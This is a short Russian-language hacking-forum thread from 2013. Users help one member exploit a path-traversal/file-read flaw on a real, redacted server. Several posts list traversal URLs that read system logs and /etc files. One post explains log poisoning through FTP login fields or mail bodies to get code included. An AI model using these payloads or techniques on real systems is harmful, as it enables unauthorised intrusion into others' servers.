HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 28.07.2013, 13:55
vikler
Познающий
Регистрация: 16.08.2012
Сообщений: 92
Провел на форуме:
36068

Репутация: 0
По умолчанию

...........
 
Ответить с цитированием

  #2  
Старый 28.07.2013, 14:03
qaz
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
Провел на форуме:
344922

Репутация: 75


По умолчанию

ищи лог файл
 
Ответить с цитированием

  #3  
Старый 28.07.2013, 14:06
vikler
Познающий
Регистрация: 16.08.2012
Сообщений: 92
Провел на форуме:
36068

Репутация: 0
По умолчанию

..............
 
Ответить с цитированием

  #4  
Старый 28.07.2013, 14:10
qaz
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
Провел на форуме:
344922

Репутация: 75


По умолчанию

Цитата:
Сообщение от vikler  
вот, что удалось найти, но всё не то, да?
Код:
http://XXXXXXXXXX/ShowPage?vuln=../../../Tomcat-name/webapps/name/logs/20130727.log
http://XXXXXXXXXX/ShowPage?vuln=../../../var/log/messages.1
http://XXXXXXXXXX/ShowPage?vuln=../../../var/log/messages.0
http://XXXXXXXXXX/ShowPage?vuln=../../../var/log/messages.2
http://XXXXXXXXXX/ShowPage?vuln=../../../var/log/messages.3
http://XXXXXXXXXX/ShowPage?vuln=../../../etc/logrotate.conf
посмотри, пишутся ли в те логи ошибки
 
Ответить с цитированием

  #5  
Старый 28.07.2013, 14:41
VY_CMa
Постоянный
Регистрация: 06.01.2012
Сообщений: 913
Провел на форуме:
193811

Репутация: 724


По умолчанию

Поищи логи FTP, почту, в случае с FTP иногда ведется логирование логина, пароля при неудачном входе. Если так, то подставляй вместо логина от FTP свой ядовитый код и производи инклуд. В случае с почтой подобным образом, но дело с телом сообщения.
 
Ответить с цитированием

  #6  
Старый 28.07.2013, 15:03
OxoTnik
Постоянный
Регистрация: 10.06.2011
Сообщений: 939
Провел на форуме:
290351

Репутация: 173


По умолчанию

Вот тебе пути к логам wiki.apache.org/httpd/DistrosDefaultLayout

найдёшь пиши
 
Ответить с цитированием

  #7  
Старый 28.07.2013, 16:22
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033

Репутация: 8
По умолчанию

Это оказалась читалка файлов, а не LFI.

Кроме просмотра конфигов - дело труба.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.